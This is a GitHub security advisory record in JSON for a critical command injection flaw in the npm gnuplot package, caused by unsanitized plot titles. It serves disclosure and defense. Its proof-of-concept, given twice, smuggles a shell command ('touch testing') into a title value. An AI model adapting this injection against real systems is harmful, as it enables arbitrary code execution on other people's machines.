{"id":"GHSA-cfwc-xjfp-44jg","aliases":["GHSA-cfwc-xjfp-44jg"],"related":[],"kind":"vulnerability","state":"published","title":"Command Injection in gnuplot","summary":"All versions of `gnuplot` are vulnerable to Command Injection. The package fails to sanitize plot titles, which may allow attackers to execute arbitrary code in the system if the title value is supplied by a user. The following proof-of-concept creates a `testing` file in the current directory:\n\n```\nvar gnuplot = require('gnuplot');\n\nconst title = '\"\\nset title system(\"touch testing\")\\n#';\n\ngnuplot()\n.set('term png')\n.set('output \"out.png\"')\n.set(`title \"${title}\"`)\n.set('xrange [-10:10]')\n.set('yrange [-2:2]')\n.set('zeroaxis')\n.plot('(x/4)**2, sin(x), 1/x')\n.end();\n```\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.","summaryFormat":"markdown","summarySource":"ghsa","descriptions":[{"lang":"en","text":"All versions of `gnuplot` are vulnerable to Command Injection. The package fails to sanitize plot titles, which may allow attackers to execute arbitrary code in the system if the title value is supplied by a user. The following proof-of-concept creates a `testing` file in the current directory:\n\n```\nvar gnuplot = require('gnuplot');\n\nconst title = '\"\\nset title system(\"touch testing\")\\n#';\n\ngnuplot()\n.set('term png')\n.set('output \"out.png\"')\n.set(`title \"${title}\"`)\n.set('xrange [-10:10]')\n.set('yrange [-2:2]')\n.set('zeroaxis')\n.plot('(x/4)**2, sin(x), 1/x')\n.end();\n```\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.","format":"markdown","source":"ghsa"}],"published":"2020-09-04T17:19:48.000Z","modified":"2020-08-31T18:59:23.000Z","severity":{"scorer":"GitHub","scheme":"rating","rating":"CRITICAL"},"severities":[{"scorer":"GitHub","scheme":"rating","rating":"CRITICAL"}],"cwes":["CWE-77"],"affected":[{"ranges":[{"type":"semver","introduced":"0.0.0","status":"affected"}],"ecosystem":"npm","package":"gnuplot","purl":"pkg:npm/gnuplot","source":"ghsa"}],"references":[{"url":"https://www.npmjs.com/advisories/1440","tags":["web"],"sources":["ghsa"]}],"credits":[],"sources":[{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-cfwc-xjfp-44jg","url":"https://github.com/advisories/GHSA-cfwc-xjfp-44jg","licence":"CC-BY-4.0","modified":"2020-08-31T18:59:23.000Z"}],"updatedAt":"2026-11-25T22:56:45.085Z"}